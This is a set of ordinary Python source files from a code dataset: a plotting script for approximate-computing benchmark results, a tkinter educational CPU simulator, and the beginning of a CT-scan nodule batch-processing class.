\"sPerfo\" : \"PERFO\",\n \"lPerfo\" : \"PERFO\",\n \"rPerfo\" : \"PERFO\",\n \"TAF\" : \"TAF\",\n \"iACT\" : \"iACT\"\n }\n\ndef scatterPlotOnly(appName, data, output_file, x_name, y_name, hue_col, style_col, v_line=None, h_line=None, x_cut = None, y_cut = None):\n local_data = data.copy()\n if y_cut:\n local_data = local_data[local_data[y_name] < y_cut]\n if x_cut:\n local_data = local_data[local_data[x_name] < x_cut]\n\n if (len (local_data) == 0):\n print(\"Returning from \", data[\"Region\"].unique())\n return\n\n approxTechniques = ['PERFO', 'TAF', 'iACT']\n regions = local_data[style_col].unique()\n\n approximation_colors = {}\n\n markers ={}\n allMarkers=[[\"d\",\"none\"], [\"s\",\"none\"], [\"v\",\"none\"]]\n\n for i, j in enumerate(approxTechniques):\n markers[j] = allMarkers[i]\n\n tmp_colors2 = sns.color_palette(\"YlOrBr\",len(regions))\n colors ={}\n for c,s in zip(tmp_colors2, regions):\n colors[s] = c\n\n sizes=set_size(width=textWidth, fraction=0.5)\n fig, ax = plt.subplots(figsize=sizes)\n\n legend_regions = []\n for r in regions:\n legend_regions.append(Line2D([0], [0], marker='o', lw=0.2, mec=colors[r],label=r, markerfacecolor=colors[r], linestyle='None'))\n\n legend_techniques = []\n for t in approxTechniques:\n legend_techniques.append(Line2D([0], [0], lw=0.2, marker=markers[t][0], color=colors[r], markerfacecolor=\"white\", mec=\"black\", label=t, linestyle='None'))\n\n for r in regions:\n tmp_data = local_data[local_data[style_col] == r]\n for t in tmp_data[hue_col].unique():\n data= tmp_data[tmp_data[hue_col] == t]\n x= data[x_name].tolist()\n y= data[y_name].to_list()\n\n if ( markers[t][1] == \"none\"):\n ax.scatter(x, y, linewidth=0.2, s=4, color=colors[r], marker=markers[t][0], edgecolors=colors[r], facecolors='none')\n else:\n ax.scatter(x, y, linewidth=0.2, s=4, color=colors[r], marker=markers[t][0], edgecolors=colors[r])\n\n if ( v_line ):\n ax.axvline(v_line, color='gray', ls='--', lw=1.0)\n if ( h_line):\n ax.axhline(h_line, color='gray', ls='--', lw=1.0)\n y_label = y_name.replace(\"%\", \"\\%\")\n ax.set( ylabel=y_label)\n ax.set( xlabel=x_name)\n legend1 = ax.legend(handles = legend_techniques, title=\"Technique\", frameon=False, bbox_to_anchor=(1,0.7))\n ax.add_artist(legend1)\n legend2 = ax.legend(handles = legend_regions, title=\"Region\", frameon= False, bbox_to_anchor=(0.75,0.7))\n plt.tight_layout()\n ax.figure.savefig(output_file,bbox_inches='tight')\n plt.close()\n\nprint_names = { \"blackscholes\" : \"Blackscholes\",\n \"CFD\" : \"CFD\",\n \"HPCCG\" : \"HPCCG\",\n \"hotspot\" : \"Hotspot\",\n \"lavaMD\" : \"LavaMD\",\n \"lulesh\" : \"Lulesh\",\n \"kmeans\" : \"K-Means\",\n \"pFilter\" : \"Particle-Filter\",\n \"leukocyte\" : \"Leukocyte\"\n }\n\n\nif (len(sys.argv) != 2):\n print (\"%s input_file\" %sys.argv[0])\n sys.exit(0)\n\ntextWidth=505.89\n\ninput_file = sys.argv[1]\ndf = pd.read_pickle(input_file)\nappName = df[\"Application\"].unique()[0]\nrootOut = \"sc_paper_plots\"\n\nif appName not in region_names:\n print(\"No information in region names\")\n sys.exit(0)\n\nif appName not in print_names:\n print(\"No information in print names\")\n sys.exit(0)\n\ndf = pd.read_pickle(input_file)\npd.set_option('display.max_rows', df.shape[0]+1)\nprint(df.head())\ndf[\"Ratio\"] = df[\"Ratio\"].astype(np.float64)\ndf[\"App Quality\"] = df[\"App Quality\"].astype(np.float64)\ndf[\"Exec. Time\"] = df[\"Exec. Time\"].astype(np.float64)\ndf[\"App Quality\"] = df[\"App Quality\"].astype(np.float64)\ndf[\"Ratio\"] = df[\"Ratio\"].astype(np.float64)\nindexes = [\"Application\", \"Num Threads\", \"Approx Technique\", \"Label\", \"Hyper Parameters\"]\ndf[\"Num Threads\"] = df[\"Num Threads\"].astype(str)\n\napprox = df\ncut_qual=20\noutputDirectory = \"%s/\" %(rootOut)\nos.makedirs( outputDirectory, exist_ok=True )\noutPrefix = outputDirectory\n\napprox[\"Region\"] = approx[\"Label\"].map(region_names[appName])\napprox[error_type[appName]] = approx[\"App Quality\"] * 100.0\nif ( error_type_transform[appName] ):\n approx[error_type[appName]] = error_type_transform[appName](approx[error_type[appName]])\napprox[\"Technique\"] = approx[\"Approx Technique\"].map(perf_grouped_names)\n\nif (error_type_transform[appName]):\n cut_qual = error_type_transform[appName](cut_qual)\ncut_perf=1\n\nscatterPlotOnly(print_names[appName], approx, outPrefix + appName + \"_figure9.pdf\", \"Speed Up\", error_type[appName], \"Technique\", \"Region\",1.0,None)\n","sub_path":"approx/approx_utilities/analysis_scripts/viz_pFilter.py","file_name":"viz_pFilter.py","file_ext":"py","file_size_in_byte":9968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"217155388","text":"import tkinter as tk\nfrom tkinter.filedialog import askopenfilename\nfrom tkinter import messagebox\n\n\nclass Data():\n def __init__(self, data): \n self.data = int(data)\n split = len(data)//2\n self.code = data[:split]\n self.address = data[split:]\n\nclass CPU:\n \"\"\"The Entire CPU\"\"\"\n def __init__(self, master):\n #variables for math and calculations\n self.memory = []\n\n self.reg_a = \"00000000\"\n self.reg_b = \"00000000\"\n self.reg_c = \"0000\"\n\n self.alu_1 = \"00000000\"\n self.alu_2 = \"00000000\"\n self.alu_out = \"00000000\"\n\n self.o = 0\n self.z = 0\n self.n = 0\n\n self.clock = 0\n self.address_reg = 0\n\n #variables tell it what base to use\n self.base = 2\n self.length = 8\n self.bool_2 = True\n\n #setting up tkinter window\n self.master = master\n self.master.geometry('360x460')\n self.master.title(\"CPU\")\n\n #register frame\n self.registers = tk.LabelFrame(self.master, text=\"Registers\")\n self.registers.place(x=15, y=0)\n self.reg_a_label = tk.Label(self.registers, text =\"Reg A:\")\n self.reg_a_label.grid(column=0, row=1)\n self.reg_a_value = tk.Label(self.registers, text =\"00000000\")\n self.reg_a_value.grid(column=1, row=1)\n self.reg_b_label = tk.Label(self.registers, text =\" Reg B:\")\n self.reg_b_label.grid(column=2, row=1)\n self.reg_b_value = tk.Label(self.registers, text =\"00000000\")\n self.reg_b_value.grid(column=3, row=1)\n self.reg_c_label= tk.Label(self.registers, text =\" Reg C:\")\n self.reg_c_label.grid(column=4, row=1)\n self.reg_c_value = tk.Label(self.registers, text =\"0000\")\n self.reg_c_value.grid(column=5, row=1)\n\n #alu frame\n self.alu = tk.LabelFrame(self.master, text=\"ALU\")\n self.alu.place(x=30, y=50)\n self.alu_1_label = tk.Label(self.alu, text=\"Input: \")\n self.alu_1_label.grid(column=0, row=0)\n self.alu_1_value = tk.Label(self.alu, text=\"00000000\")\n self.alu_1_value.grid(column=1, row=0)\n self.alu_2_label = tk.Label(self.alu, text=\"Input: \")\n self.alu_2_label.grid(column=0, row=1)\n self.alu_2_value = tk.Label(self.alu, text=\"00000000\")\n self.alu_2_value.grid(column=1, row=1)\n self.alu_out_label = tk.Label(self.alu, text=\"Output: \")\n self.alu_out_label.grid(column=0, row=2)\n self.alu_out_value = tk.Label(self.alu, text=\"00000000\")\n self.alu_out_value.grid(column=1, row=2)\n\n #tk.StringVar\n self.mem_1_var = tk.StringVar()\n self.mem_2_var = tk.StringVar()\n self.mem_3_var = tk.StringVar()\n self.mem_4_var = tk.StringVar()\n self.mem_5_var = tk.StringVar()\n self.mem_6_var = tk.StringVar()\n self.mem_7_var = tk.StringVar()\n self.mem_8_var = tk.StringVar()\n self.mem_9_var = tk.StringVar()\n self.mem_10_var = tk.StringVar()\n self.mem_11_var = tk.StringVar()\n self.mem_12_var = tk.StringVar()\n self.mem_13_var = tk.StringVar()\n self.mem_14_var = tk.StringVar()\n self.mem_15_var = tk.StringVar()\n self.mem_16_var = tk.StringVar()\n\n #memory frame\n self.mem = tk.LabelFrame(self.master, text=\"Memory\")\n self.mem.place(x=180, y=50)\n self.mem_1 = tk.Entry(self.mem,width=10, textvariable = self.mem_1_var)\n self.mem_1.grid(column=1, row=0)\n self.mem_2 = tk.Entry(self.mem,width=10, textvariable = self.mem_2_var)\n self.mem_2.grid(column=1, row=1)\n self.mem_3 = tk.Entry(self.mem,width=10, textvariable = self.mem_3_var)\n self.mem_3.grid(column=1, row=2)\n self.mem_4 = tk.Entry(self.mem,width=10, textvariable = self.mem_4_var)\n self.mem_4.grid(column=1, row=3)\n self.mem_5 = tk.Entry(self.mem,width=10, textvariable = self.mem_5_var)\n self.mem_5.grid(column=1, row=4)\n self.mem_6 = tk.Entry(self.mem,width=10, textvariable = self.mem_6_var)\n self.mem_6.grid(column=1, row=5)\n self.mem_7 = tk.Entry(self.mem,width=10, textvariable = self.mem_7_var)\n self.mem_7.grid(column=1, row=6)\n self.mem_8 = tk.Entry(self.mem,width=10, textvariable = self.mem_8_var)\n self.mem_8.grid(column=1, row=7)\n self.mem_9 = tk.Entry(self.mem,width=10, textvariable = self.mem_9_var)\n self.mem_9.grid(column=1, row=8)\n self.mem_10 = tk.Entry(self.mem,width=10, textvariable = self.mem_10_var)\n self.mem_10.grid(column=1, row=9)\n self.mem_11 = tk.Entry(self.mem,width=10, textvariable = self.mem_11_var)\n self.mem_11.grid(column=1, row=10)\n self.mem_12 = tk.Entry(self.mem,width=10, textvariable = self.mem_12_var)\n self.mem_12.grid(column=1, row=11)\n self.mem_13 = tk.Entry(self.mem,width=10, textvariable = self.mem_13_var)\n self.mem_13.grid(column=1, row=12)\n self.mem_14 = tk.Entry(self.mem,width=10, textvariable = self.mem_14_var)\n self.mem_14.grid(column=1, row=13)\n self.mem_15 = tk.Entry(self.mem,width=10, textvariable = self.mem_15_var)\n self.mem_15.grid(column=1, row=14)\n self.mem_16 = tk.Entry(self.mem,width=10, textvariable = self.mem_16_var)\n self.mem_16.grid(column=1, row=15)\n self.addr_1 = tk.Label(self.mem, text=\"0000:\")\n self.addr_1.grid(column=0, row=0)\n self.addr_2 = tk.Label(self.mem, text=\"0001:\")\n self.addr_2.grid(column=0, row=1)\n self.addr_3 = tk.Label(self.mem, text=\"0010:\")\n self.addr_3.grid(column=0, row=2)\n self.addr_4 = tk.Label(self.mem, text=\"0011:\")\n self.addr_4.grid(column=0, row=3)\n self.addr_5 = tk.Label(self.mem, text=\"0100:\")\n self.addr_5.grid(column=0, row=4)\n self.addr_6 = tk.Label(self.mem, text=\"0101:\")\n self.addr_6.grid(column=0, row=5)\n self.addr_7 = tk.Label(self.mem, text=\"0110:\")\n self.addr_7.grid(column=0, row=6)\n self.addr_8 = tk.Label(self.mem, text=\"0111:\")\n self.addr_8.grid(column=0, row=7)\n self.addr_9 = tk.Label(self.mem, text=\"1000:\")\n self.addr_9.grid(column=0, row=8)\n self.addr_10 = tk.Label(self.mem, text=\"1001:\")\n self.addr_10.grid(column=0, row=9)\n self.addr_11 = tk.Label(self.mem, text=\"1010:\")\n self.addr_11.grid(column=0, row=10)\n self.addr_12 = tk.Label(self.mem, text=\"1011:\")\n self.addr_12.grid(column=0, row=11)\n self.addr_13 = tk.Label(self.mem, text=\"1100:\")\n self.addr_13.grid(column=0, row=12)\n self.addr_14 = tk.Label(self.mem, text=\"1101:\")\n self.addr_14.grid(column=0, row=13)\n self.addr_15 = tk.Label(self.mem, text=\"1110:\")\n self.addr_15.grid(column=0, row=14)\n self.addr_16 = tk.Label(self.mem, text=\"1111:\")\n self.addr_16.grid(column=0, row=15)\n\n #control frame\n self.control = tk.LabelFrame(self.master, text=\"Control\")\n self.control.place(x=30, y=140)\n self.instruction_label = tk.Label(self.control, text=\"Code: \")\n self.instruction_label.grid(column=0, row=0)\n self.instruction = tk.Label(self.control, text=\"\")\n self.instruction.grid(column=1, row=0)\n self.address_label = tk.Label(self.control, text=\"Address: \")\n self.address_label.grid(column=0, row=1)\n self.address = tk.Label(self.control, text=\"0000\")\n self.address.grid(column=1, row=1)\n self.clock_label = tk.Label(self.control, text=\"Clock: \")\n self.clock_label.grid(column=0, row=2)\n self.clock_value = tk.Label(self.control, text=\"0\")\n self.clock_value.grid(column=1, row=2)\n self.o_label = tk.Label(self.control, text=\"O: \")\n self.o_label.grid(column=0, row=3)\n self.o_value = tk.Label(self.control, text=\"0\")\n self.o_value.grid(column=1, row=3)\n self.z_label = tk.Label(self.control, text=\"Z: \")\n self.z_label.grid(column=0, row=4)\n self.z_value = tk.Label(self.control, text=\"0\")\n self.z_value.grid(column=1, row=4)\n self.n_label = tk.Label(self.control, text=\"N: \")\n self.n_label.grid(column=0, row=5)\n self.n_value = tk.Label(self.control, text=\"0\")\n self.n_value.grid(column=1, row=5)\n\n #frame for button\n self.commands = tk.Frame(self.master)\n self.commands.place(x=30, y=290)\n self.main_button = tk.Button(self.commands, text=\"Get Memory\", command=self.get_memory)\n self.main_button.pack()\n\n #taskbar menu thing\n self.menu = tk.Menu(self.master)\n self.master.config(menu=self.menu)\n\n self.file_menu = tk.Menu(self.menu)\n self.menu.add_cascade(label=\"File\", menu=self.file_menu)\n self.file_menu.add_command(label=\"Open...\", command=self.open_file)\n\n self.base_menu = tk.Menu(self.menu)\n self.menu.add_cascade(label=\"Base\", menu=self.base_menu)\n self.base_menu.add_command(label=\"Base 2 (Binary)\", command=self.set_base_2)\n self.base_menu.add_command(label=\"Base 16 (Hexadecimal)\", command=self.set_base_16)\n\n self.help_menu = tk.Menu(self.menu)\n self.menu.add_cascade(label=\"Help\", menu=self.help_menu)\n self.help_menu.add_command(label=\"Commands\", command=self.help)\n self.help_menu.add_command(label=\"About...\", command=self.about)\n\n def check_number(self, code):\n try: #checks if number is either binary or hexadecimal depending on what self.base is set to\n code = int(code, self.base)\n return True\n except ValueError: #if not then returns false\n return False\n\n def set_base_2(self): #changes variables and memory addresses to binary values\n self.base = 2\n self.length = 8\n self.bool_2 = True\n self.addr_1.configure(text=\"0000:\")\n self.addr_2.configure(text=\"0001:\")\n self.addr_3.configure(text=\"0010:\")\n self.addr_4.configure(text=\"0011:\")\n self.addr_5.configure(text=\"0100:\")\n self.addr_6.configure(text=\"0101:\")\n self.addr_7.configure(text=\"0110:\")\n self.addr_8.configure(text=\"0111:\")\n self.addr_9.configure(text=\"1000:\")\n self.addr_10.configure(text=\"1001:\")\n self.addr_11.configure(text=\"1010:\")\n self.addr_12.configure(text=\"1011:\")\n self.addr_13.configure(text=\"1100:\")\n self.addr_14.configure(text=\"1101:\")\n self.addr_15.configure(text=\"1110:\")\n self.addr_16.configure(text=\"1111:\")\n\n def set_base_16(self): #changes variables and memory addresses to hexadecimal values\n self.base = 16\n self.length = 2\n self.bool_2 = False\n self.addr_1.configure(text=\"0:\")\n self.addr_2.configure(text=\"1:\")\n self.addr_3.configure(text=\"2:\")\n self.addr_4.configure(text=\"3:\")\n self.addr_5.configure(text=\"4:\")\n self.addr_6.configure(text=\"5:\")\n self.addr_7.configure(text=\"6:\")\n self.addr_8.configure(text=\"7:\")\n self.addr_9.configure(text=\"8:\")\n self.addr_10.configure(text=\"9:\")\n self.addr_11.configure(text=\"A:\")\n self.addr_12.configure(text=\"B:\")\n self.addr_13.configure(text=\"C:\")\n self.addr_14.configure(text=\"D:\")\n self.addr_15.configure(text=\"E:\")\n self.addr_16.configure(text=\"F:\")\n\n def get_code(self,code): #finds corresponding function for binary or hexadecimal code\n op_code = {\n 1: self.loadA, #A = VALUE IN MEMORY LOCATION\n 2: self.loadB, #B = VALUE IN MEMORY LOCATION\n 3: self.addBA, #A = A + B\n 4: self.subBA, #A = A - B\n 5: self.stoA, #STORE A INTO MEMORY NUMBER\n 6: self.AB, #Z=1, IF AB=0 : \n 7: self.AplusB, #Z=1, IF : B=0\n 8: self.AxorB, #Z=1, IF AxorB=0\n 9: self.reset, #O,N,Z = 0\n 10: self.juiz, #JUMP TO ADRESS # IF Z=0\n 11: self.setC, #REG C = VALUE\n 12: self.incC, #C = C + 1\n 13: self.decC, #C = C - 1\n 14: self.jump, #JUMP TO ADDRESS #\n 15: self.halt #STOP PROGRAM\n }\n code = op_code.get(code)\n return code\n\n def open_file(self): #lets user get memory from a txt file\n self.memory = [] #resets memory (in case user wants to open another file after the first one)\n file_name = askopenfilename(filetypes =((\"Text File\", \"*.txt\"),(\"All Files\",\"*.*\")), title = \"Choose a file.\")\n try:\n info = open(file_name).read().splitlines()\n except:\n return\n if len(info) > 16: #makes sure file is 16 lines\n messagebox.showerror(\"Error\", \"File must be no more than 16 lines.\")\n return\n for i in info:\n if i == \"\":\n continue\n #make sure data is usable\n elif len(i) != self.length:\n messagebox.showerror(\"Error\", \"Error with data.\")\n return\n elif not self.check_number(i):\n messagebox.showerror(\"Error\", \"Error with data.\")\n return\n variables = [\n self.mem_1_var, \n self.mem_2_var, \n self.mem_3_var, \n self.mem_4_var, \n self.mem_5_var, \n self.mem_6_var, \n self.mem_7_var, \n self.mem_8_var, \n self.mem_9_var, \n self.mem_10_var, \n self.mem_11_var, \n self.mem_12_var, \n self.mem_13_var, \n self.mem_14_var, \n self.mem_15_var, \n self.mem_16_var\n ]\n y=0 #to set the row\n for i in info:\n if self.bool_2:\n if i ==\"\":\n i = \"00000000\"\n else:\n if i ==\"\":\n i = \"00\"\n #make label for each object\n #mem_from_file = tk.Label(self.mem, text=i)\n #mem_from_file.grid(column=1, row=y)\n variables[y].set(i)\n y +=1\n #add to memory object list\n i = Data(i)\n self.memory.append(i)\n #add extra items if list is less than 16 \n for i in range(16-len(info)):\n if self.bool_2:\n self.memory.append(Data('00000000'))\n else:\n self.memory.append(Data('00'))\n #set button to do next step\n self.main_button.configure(text=\"Next Step\", command=self.main)\n try:\n self.menu.delete(\"Base\") \n except:\n pass\n\n def about(self): #defines the about page\n window = tk.Toplevel()\n window.title(\"About\")\n text = tk.Message(window, text=\"Hello, Fernando made this.\\nPlease give me a lot of XP and @T and a very good grade.\")\n text.pack()\n\n dismiss = tk.Button(window, text=\"Dismiss\", command=window.destroy)\n dismiss.pack()\n\n def help(self): #defines the help page\n window = tk.Toplevel()\n window.title(\"Help\")\n text = tk.Message(window, text=\"\"\"0001 / 1 : (loadA), A = VALUE IN MEMORY LOCATION\n \\n0010 / 2 : (loadB), B = VALUE IN MEMORY LOCATION\n \\n0011 / 3 : (addBA), A = A + B\n \\n0100 / 4 : (subBA), A = A - B\n \\n0101 / 5 : (stoA), STORE A INTO MEMORY NUMBER\n \\n0110 / 6 : (AB), Z=1, IF AB=0\n \\n0111 / 7 : (AplusB), Z=1, IF A+B=0\n \\n1000 / 8 : (AxorB), Z=1, IF AxorB=0\n \\n1001 / 9 : (reset), O,N,Z = 0\n \\n1010 / A : (juiz), JUMP TO ADRESS # IF Z=0\n \\n1011 / B : (setC), REG C = VALUE\n \\n1100 / C : (incC), C = C + 1\n \\n1101 / D : (decC), C = C - 1\n \\n1110 / E : (jump), JUMP TO ADDRESS #\n \\n1111 / F : (halt), STOP PROGRAM\"\"\")\n text.pack()\n\n dismiss = tk.Button(window, text=\"Dismiss\", command=window.destroy)\n dismiss.pack()\n\n def get_memory(self): #gets memory from input boxes\n mem_get = [\n self.mem_1.get(), \n self.mem_2.get(), \n self.mem_3.get(), \n self.mem_4.get(), \n self.mem_5.get(), \n self.mem_6.get(), \n self.mem_7.get(), \n self.mem_8.get(), \n self.mem_9.get(), \n self.mem_10.get(), \n self.mem_11.get(), \n self.mem_12.get(), \n self.mem_13.get(), \n self.mem_14.get(), \n self.mem_15.get(), \n self.mem_16.get()\n ]\n\n for i in mem_get:\n if self.bool_2:\n if i ==\"\":\n i = \"00000000\"\n else:\n if i ==\"\":\n i = \"00\"\n\n if len(i) != self.length:\n messagebox.showerror(\"Error\", \"Error with inputs.\")\n return\n elif not self.check_number(i):\n messagebox.showerror(\"Error\", \"Error with inputs.\")\n return\n\n i = Data(i)\n self.memory.append(i)\n self.main_button.configure(text=\"Next Step\", command=self.main)\n self.menu.delete(\"Base\") \n\n def main(self):\n #find the binary code or if past line 16 do nothing\n try:\n code = self.memory[self.address_reg].code\n except IndexError:\n self.address_reg = 0\n self.main()\n return\n #finds corresponding function for binary or hexadecimal code\n code = int(code, self.base)\n code = self.get_code(code)\n #blank lines or 00.. will be skipped\n try:\n code()\n except TypeError:\n pass\n self.control_out()\n self.address_reg += 1\n\n def control_out(self):\n codes = {\n 0: 'NONE',\n 1: 'LOAD_A',\n 2: 'LOAD_B',\n 3: 'ADD BA',\n 4: 'SUB BA',\n 5: 'STO_A',\n 6: 'AB',\n 7: 'A+B',\n 8: 'AxorB',\n 9: 'RESET',\n 10: 'JUIZ',\n 11: 'SET C',\n 12: 'INC C',\n 13: 'DEC C',\n 14: 'JUMP',\n 15: 'HALT'\n }\n\n code = codes.get(int(self.memory[self.address_reg].code, self.base))\n #change the text to correspond with inputs, flags, etc.\n self.instruction.configure(text=code)\n if self.bool_2:\n self.address.configure(text=f\"{'{0:04b}'.format(self.address_reg)}\")\n else:\n self.address.configure(text=f\"{'{0:01x}'.format(self.address_reg)}\")\n self.clock_value.configure(text=self.clock)\n\n self.reg_a_value.configure(text=self.reg_a)\n self.reg_b_value.configure(text=self.reg_b)\n self.reg_c_value.configure(text=self.reg_c)\n\n self.alu_1_value.configure(text=self.alu_1)\n self.alu_2_value.configure(text=self.alu_2)\n self.alu_out_value.configure(text=self.alu_out)\n\n self.o_value.configure(text=self.o)\n self.z_value.configure(text=self.z)\n self.n_value.configure(text=self.n)\n\n def loadA(self):\n #takes the address indicated (e.g. 0001[0000])\n location = self.memory[self.address_reg].address\n #changes the address to decimal (so it can be used as a location in a list)\n information = int(location, self.base)\n #takes data from address found above(e.g. 0000) from the memory list and puts it in Register A\n self.reg_a = self.memory[information].data\n self.clock += 1\n\n def loadB(self):\n #same thing as loadA but in one line\n self.reg_b = self.memory[int(self.memory[self.address_reg].address, self.base)].data\n self.clock += 1\n\n def addBA(self):\n self.alu_1 = int(self.reg_a, self.base)\n self.alu_2 = int(self.reg_b, self.base)\n self.alu_out = self.alu_1 + self.alu_2\n\n if self.bool_2:\n self.alu_1 = '{0:08b}'.format(self.alu_1)\n self.alu_2 = '{0:08b}'.format(self.alu_2)\n else:\n self.alu_1 = '{0:02x}'.format(self.alu_1)\n self.alu_2 = '{0:02x}'.format(self.alu_2)\n\n if self.alu_out >= 127:\n self.alu_out = 0\n self.o = 1\n if self.bool_2:\n self.alu_out = '{0:08b}'.format(self.alu_out)\n else:\n self.alu_out = '{0:02x}'.format(self.alu_out)\n self.reg_a = self.alu_out\n self.clock += 1\n\n def subBA(self):\n self.alu_1 = int(self.reg_a, self.base)\n self.alu_2 = int(self.reg_b, self.base)\n self.alu_out = self.alu_1 - self.alu_2\n\n if self.bool_2:\n self.alu_1 = '{0:08b}'.format(self.alu_1)\n self.alu_2 = '{0:08b}'.format(self.alu_2)\n else:\n self.alu_1 = '{0:02x}'.format(self.alu_1)\n self.alu_2 = '{0:02x}'.format(self.alu_2)\n\n if self.alu_out >= 127: #256 is the biggest number possible\n self.alu_out = 0\n self.o = 1\n elif self.alu_out < -128: #-128 is the smallest number possible\n self.alu_out = 0\n self.o = 1\n self.n = 1\n elif self.alu_out < 0:\n self.n = 1\n #converts to twos compliment\n self.alu_out *= -1 #sets to positive so that converting to binary wont mess up\n #inverts the number in binary\n self.alu_out = '{0:08b}'.format(self.alu_out)\n new_num = []\n for i in self.alu_out:\n if not(int(i)):\n new_num.append('1')\n else:\n new_num.append('0')\n self.alu_out = ''.join(new_num)\n #adds 1 to the number\n self.alu_out = int(self.alu_out, 2) + 1\n\n #set negative int to binary or hexadecimal\n if self.bool_2:\n self.alu_out = '{0:08b}'.format(self.alu_out)\n else:\n self.alu_out = '{0:02x}'.format(self.alu_out)\n\n self.reg_a = self.alu_out\n self.clock += 1\n\n def stoA(self): #stores info at Register A to given address\n self.memory[int(self.memory[self.address_reg].address, self.base)] = Data(self.reg_a)\n y = int(self.memory[self.address_reg].address, self.base)\n stored = tk.Label(self.mem, text=self.reg_a)\n stored.grid(column=1, row=y)\n self.clock += 1\n\n def AB(self): #if A and B = 0, sets Z = 1\n self.alu_1 = int(self.reg_a, self.base)\n self.alu_2 = int(self.reg_b, self.base)\n if (self.alu_1&self.alu_2) == 0:\n self.z = 1\n self.clock += 1\n\n def AplusB(self): #if A or B = 0, sets Z = 1\n self.alu_1 = int(self.reg_a, self.base)\n self.alu_2 = int(self.reg_b, self.base)\n if (self.alu_1|self.alu_2) == 0:\n self.z = 1\n self.clock += 1\n\n def AxorB(self): #if A xor B = 0, sets Z = 1\n self.alu_1 = int(self.reg_a, self.base)\n self.alu_2 = int(self.reg_b, self.base)\n\n if (self.alu_1^self.alu_2) == 0:\n self.z = 1\n self.clock += 1\n\n def reset(self): #resets flags\n self.o = 0\n self.z = 0\n self.n = 0\n self.clock += 1\n\n def juiz(self): #jumps to address if Z = 0\n if self.z == 0:\n jump = int(self.memory[self.address_reg].address)\n remain = jump - self.address_reg\n self.address_reg += remain\n self.clock += 1\n\n def setC(self): #sets C to the value beside the instruction (1011 XXXX)\n self.reg_c = self.memory[self.address_reg].address\n\n self.clock += 1\n\n def incC(self): #increases C by 1\n c = int(self.reg_c, self.base)\n c +=1\n\n if self.bool_2:\n c = '{0:04b}'.format(c)\n else:\n c = '{0:02x}'.format(c)\n\n self.reg_c = c\n self.clock += 1\n\n def decC(self): #decreases C by 1\n c = int(self.reg_c, self.base)\n c -= 1\n if self.bool_2:\n c = '{0:04b}'.format(c)\n else:\n c = '{0:02x}'.format(c)\n\n self.reg_c = c\n self.clock += 1\n\n def jump(self): #jumps to address\n jump = int(self.memory[self.address_reg].address)\n remain = jump - self.address_reg\n self.address_reg += remain\n self.clock += 1\n\n def halt(self): #stops\n self.main_button.configure(text=\"Done!\",command=self.halt)\n\n\n###main###\nROOT = tk.Tk()\nGUI = CPU(ROOT)\nROOT.mainloop()\n","sub_path":"cpu.py","file_name":"cpu.py","file_ext":"py","file_size_in_byte":24090,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"408031310","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon May 28 20:35:37 2018\n\n@author: s120116\n\"\"\"\nfrom radio import CTImagesMaskedBatch\nfrom radio.preprocessing.mask import make_rect_mask_numba\nfrom radio.preprocessing.resize import resize_scipy, resize_pil \nfrom radio.dataset import action, inbatch_parallel, DatasetIndex, SkipBatchException\nimport os\nimport numpy as np\ntry:\n from tqdm import tqdm_notebook\nexcept ImportError:\n tqdm_notebook = lambda x: x\nimport logging\nlogger = logging.getLogger(__name__) \n\n#import segmentUtrecht as lung\nimport PIL\nfrom numba import njit\nimport pandas as pd\nimport pydicom as dicom\n\n#check dit\nAIR_HU = -2000\nDARK_HU = -2000\n\n\n@njit(nogil=True)\ndef get_nodules_numba(data, positions, size):\n size = size.astype(np.int64)\n \n out_arr = np.zeros((np.int(positions.shape[0]), size[0], size[1], size[2]))\n\n n_positions = positions.shape[0]\n for i in range(n_positions):\n out_arr[i, :, :, :] = data[positions[i, 0]: positions[i, 0] + size[0],\n positions[i, 1]: positions[i, 1] + size[1],\n positions[i, 2]: positions[i, 2] + size[2]]\n\n return out_arr.reshape(n_positions * size[0], size[1], size[2])\n \ndef bbox2_3D(img):\n\n r = np.any(img, axis=(1, 2))\n c = np.any(img, axis=(0, 2))\n z = np.any(img, axis=(0, 1))\n\n rmin, rmax = np.where(r)[0][[0, -1]]\n cmin, cmax = np.where(c)[0][[0, -1]]\n zmin, zmax = np.where(z)[0][[0, -1]]\n\n return rmin, rmax, cmin, cmax, zmin, zmax\n \nclass CTImagesCustomBatch(CTImagesMaskedBatch):\n \n nodules_dtype = np.dtype([('patient_pos', np.int, 1),\n ('offset', np.int, (3,)),\n ('img_size', np.int, (3,)),\n ('nodule_center', np.float, (3,)),\n ('nodule_size', np.float, (3,)),\n ('spacing', np.float, (3,)),\n ('origin', np.float, (3,)),\n \n ('malignancy',np.float ,1) ,\n ('sphericity', np.float, 1),\n ('margin', np.float, 1),\n ('spiculation', np.float ,1),\n ('texture', np.float,1),\n ('calcification', np.float, 1),\n ('internal_structure', np.float, 1),\n ('lobulation',np.float,1),\n ('subtlety', np.float,1 )] ) #state, 0=excluded, 1=included \n \n candidates_dtype = np.dtype([('patient_pos', np.int, 1),\n ('offset', np.int, (3,)),\n ('img_size', np.int, (3,)),\n ('candidate_center', np.float, (3,)),\n ('spacing', np.float, (3,)),\n ('origin', np.float, (3,)),\n ('candidate_label', np.int,1)])\n \n\n \n components = \"images\", \"masks\", \"segmentation\", \"spacing\", \"origin\",\"predictions\"\n \n def __init__(self, index, *args, **kwargs):\n \"\"\" Execute Batch construction and init of basic attributes\n \n Parameters\n ----------\n index : Dataset.Index class.\n Required indexing of objects (files).\n \"\"\"\n super().__init__(index, *args, **kwargs)\n self.segmentation=None\n self.candidates=None\n self.nodulesEval=None\n \n\n\n \n def _prealloc_components(self, **kwargs):\n \"\"\" Init-func for load from blosc.\n\n Fills images/masks-components with zeroes if the components are to be updated.\n\n Parameters\n ----------\n **kwargs\n components : str, list or tuple\n iterable of components names that need to be loaded\n Returns\n -------\n list\n list of ids of batch-items, i.e. series ids or patient ids.\n \"\"\"\n # fill 'images', 'masks'-comps with zeroes if needed\n skysc_components = {'images', 'masks', 'segmentation'} & set(kwargs['components'])\n self._prealloc_skyscraper_components(skysc_components)\n\n return self.indices\n \n def get_pos(self, data, component, index,dst=None):\n \"\"\" Return a positon of an item for a given index in data\n or in self.`component`.\n \n Fetch correct position inside batch for an item, looks for it\n in `data`, if provided, or in `component` in self.\n \n Parameters\n ----------\n data : None or ndarray\n data from which subsetting is done.\n If None, retrieve position from `component` of batch,\n if ndarray, returns index.\n component : str\n name of a component, 